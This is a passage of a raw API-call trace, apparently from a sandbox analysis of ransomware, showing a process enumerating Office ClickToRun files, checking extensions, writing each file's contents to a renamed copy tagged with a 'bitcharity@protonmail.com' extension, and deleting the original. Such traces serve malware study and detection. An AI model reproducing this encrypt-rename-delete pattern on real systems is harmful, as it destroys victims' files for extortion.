lstrlenW (lpString=".rar") returned 4 [0289.172] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.172] lstrlenW (lpString=".bz2") returned 4 [0289.172] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.172] lstrlenW (lpString=".7z") returned 3 [0289.173] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0289.173] lstrlenW (lpString=".dbf") returned 4 [0289.173] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0289.173] lstrlenW (lpString=".1cd") returned 4 [0289.173] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0289.173] lstrlenW (lpString=".jpg") returned 4 [0289.173] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.173] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.173] lstrlenW (lpString="api-ms-win-crt-private-l1-1-0.dll") returned 33 [0289.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0289.173] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=70848) returned 1 [0289.173] CloseHandle (hObject=0x10c4) returned 1 [0289.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20 [0289.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0289.174] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.174] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0289.174] GetLastError () returned 0x0 [0289.174] ReadFile (in: hFile=0x10c4, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x114c0, lpOverlapped=0x0) returned 1 [0289.374] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x114d0, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x114d0, lpOverlapped=0x0) returned 1 [0289.376] ReadFile (in: hFile=0x10c4, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0289.376] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x116, lpOverlapped=0x0) returned 1 [0289.376] SetEndOfFile (hFile=0x10c8) returned 1 [0289.376] CloseHandle (hObject=0x10c8) returned 1 [0289.376] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.377] SetEndOfFile (hFile=0x10c4) returned 1 [0289.378] CloseHandle (hObject=0x10c4) returned 1 [0289.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.378] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 1 [0289.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0289.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0289.439] lstrlenW (lpString=".doc") returned 4 [0289.439] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.439] lstrlenW (lpString=".docx") returned 5 [0289.439] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.439] lstrlenW (lpString=".pdf") returned 4 [0289.439] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.439] lstrlenW (lpString=".xls") returned 4 [0289.439] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.439] lstrlenW (lpString=".xlsx") returned 5 [0289.439] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.439] lstrlenW (lpString=".ppt") returned 4 [0289.439] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0289.439] lstrlenW (lpString=".zip") returned 4 [0289.439] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.439] lstrlenW (lpString=".rar") returned 4 [0289.439] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.439] lstrlenW (lpString=".bz2") returned 4 [0289.440] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.440] lstrlenW (lpString=".7z") returned 3 [0289.440] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0289.440] lstrlenW (lpString=".dbf") returned 4 [0289.440] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0289.440] lstrlenW (lpString=".1cd") returned 4 [0289.440] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0289.440] lstrlenW (lpString=".jpg") returned 4 [0289.440] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0289.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0289.440] lstrlenW (lpString=".doc") returned 4 [0289.440] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.440] lstrlenW (lpString=".docx") returned 5 [0289.440] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.440] lstrlenW (lpString=".pdf") returned 4 [0289.440] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.440] lstrlenW (lpString=".xls") returned 4 [0289.440] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.440] lstrlenW (lpString=".xlsx") returned 5 [0289.441] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.441] lstrlenW (lpString=".ppt") returned 4 [0289.441] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0289.441] lstrlenW (lpString=".zip") returned 4 [0289.441] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.441] lstrlenW (lpString=".rar") returned 4 [0289.441] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.441] lstrlenW (lpString=".bz2") returned 4 [0289.441] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.441] lstrlenW (lpString=".7z") returned 3 [0289.441] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0289.441] lstrlenW (lpString=".dbf") returned 4 [0289.441] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0289.441] lstrlenW (lpString=".1cd") returned 4 [0289.441] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0289.441] lstrlenW (lpString=".jpg") returned 4 [0289.441] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.441] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0289.441] lstrlenW (lpString="AppVShNotify.exe") returned 16 [0289.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0289.442] GetFileSizeEx (in: hFile=0x1094, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=263896) returned 1 [0289.442] CloseHandle (hObject=0x1094) returned 1 [0289.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20 [0289.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0289.442] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.443] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0289.443] GetLastError () returned 0x0 [0289.443] ReadFile (in: hFile=0x1094, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x406d8, lpOverlapped=0x0) returned 1 [0289.596] WriteFile (in: hFile=0x10a4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x406e0, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x406e0, lpOverlapped=0x0) returned 1 [0289.601] ReadFile (in: hFile=0x1094, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0289.601] WriteFile (in: hFile=0x10a4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xf4, lpOverlapped=0x0) returned 1 [0289.601] SetEndOfFile (hFile=0x10a4) returned 1 [0289.601] CloseHandle (hObject=0x10a4) returned 1 [0289.601] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.601] SetEndOfFile (hFile=0x1094) returned 1 [0289.604] CloseHandle (hObject=0x1094) returned 1 [0289.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.604] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 1 [0289.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0289.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0289.605] lstrlenW (lpString=".doc") returned 4 [0289.605] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0289.605] lstrlenW (lpString=".docx") returned 5 [0289.605] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0289.605] lstrlenW (lpString=".pdf") returned 4 [0289.605] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0289.605] lstrlenW (lpString=".xls") returned 4 [0289.605] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0289.605] lstrlenW (lpString=".xlsx") returned 5 [0289.605] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0289.605] lstrlenW (lpString=".ppt") returned 4 [0289.605] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0289.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0289.605] lstrlenW (lpString=".zip") returned 4 [0289.605] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0289.605] lstrlenW (lpString=".rar") returned 4 [0289.605] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0289.605] lstrlenW (lpString=".bz2") returned 4 [0289.605] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0289.605] lstrlenW (lpString=".7z") returned 3 [0289.605] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0289.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0289.605] lstrlenW (lpString=".dbf") returned 4 [0289.605] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0289.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0289.605] lstrlenW (lpString=".1cd") returned 4 [0289.606] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0289.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0289.606] lstrlenW (lpString=".jpg") returned 4 [0289.606] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0289.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0289.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0289.606] lstrlenW (lpString=".doc") returned 4 [0289.606] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0289.606] lstrlenW (lpString=".docx") returned 5 [0289.606] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0289.606] lstrlenW (lpString=".pdf") returned 4 [0289.606] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0289.606] lstrlenW (lpString=".xls") returned 4 [0289.606] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0289.606] lstrlenW (lpString=".xlsx") returned 5 [0289.606] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0289.606] lstrlenW (lpString=".ppt") returned 4 [0289.606] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0289.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0289.606] lstrlenW (lpString=".zip") returned 4 [0289.606] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0289.606] lstrlenW (lpString=".rar") returned 4 [0289.606] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0289.606] lstrlenW (lpString=".bz2") returned 4 [0289.606] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0289.606] lstrlenW (lpString=".7z") returned 3 [0289.607] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0289.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0289.607] lstrlenW (lpString=".dbf") returned 4 [0289.607] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0289.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0289.607] lstrlenW (lpString=".1cd") returned 4 [0289.607] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0289.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0289.607] lstrlenW (lpString=".jpg") returned 4 [0289.607] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0289.607] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.607] lstrlenW (lpString="C2R32.dll") returned 9 [0289.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0289.607] GetFileSizeEx (in: hFile=0x1094, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=820416) returned 1 [0289.608] CloseHandle (hObject=0x1094) returned 1 [0289.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20 [0289.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0289.608] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.608] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0289.608] GetLastError () returned 0x0 [0289.608] ReadFile (in: hFile=0x1094, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0xc84c0, lpOverlapped=0x0) returned 1 [0293.485] WriteFile (in: hFile=0x10a4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xc84d0, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xc84d0, lpOverlapped=0x0) returned 1 [0293.591] ReadFile (in: hFile=0x1094, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.591] WriteFile (in: hFile=0x10a4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xe6, lpOverlapped=0x0) returned 1 [0293.591] SetEndOfFile (hFile=0x10a4) returned 1 [0293.592] CloseHandle (hObject=0x10a4) returned 1 [0293.592] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.592] SetEndOfFile (hFile=0x1094) returned 1 [0293.598] CloseHandle (hObject=0x1094) returned 1 [0293.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0293.599] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 1 [0293.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0293.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0293.599] lstrlenW (lpString=".doc") returned 4 [0293.599] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.599] lstrlenW (lpString=".docx") returned 5 [0293.599] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0293.599] lstrlenW (lpString=".pdf") returned 4 [0293.599] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.599] lstrlenW (lpString=".xls") returned 4 [0293.599] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.599] lstrlenW (lpString=".xlsx") returned 5 [0293.599] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0293.599] lstrlenW (lpString=".ppt") returned 4 [0293.599] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0293.599] lstrlenW (lpString=".zip") returned 4 [0293.599] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.599] lstrlenW (lpString=".rar") returned 4 [0293.599] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.599] lstrlenW (lpString=".bz2") returned 4 [0293.600] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.600] lstrlenW (lpString=".7z") returned 3 [0293.600] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0293.600] lstrlenW (lpString=".dbf") returned 4 [0293.600] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0293.600] lstrlenW (lpString=".1cd") returned 4 [0293.600] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0293.600] lstrlenW (lpString=".jpg") returned 4 [0293.600] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0293.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0293.600] lstrlenW (lpString=".doc") returned 4 [0293.600] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.600] lstrlenW (lpString=".docx") returned 5 [0293.600] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0293.600] lstrlenW (lpString=".pdf") returned 4 [0293.600] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.600] lstrlenW (lpString=".xls") returned 4 [0293.600] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.600] lstrlenW (lpString=".xlsx") returned 5 [0293.600] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0293.600] lstrlenW (lpString=".ppt") returned 4 [0293.600] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0293.600] lstrlenW (lpString=".zip") returned 4 [0293.600] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.600] lstrlenW (lpString=".rar") returned 4 [0293.600] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.600] lstrlenW (lpString=".bz2") returned 4 [0293.600] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.600] lstrlenW (lpString=".7z") returned 3 [0293.600] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0293.601] lstrlenW (lpString=".dbf") returned 4 [0293.601] 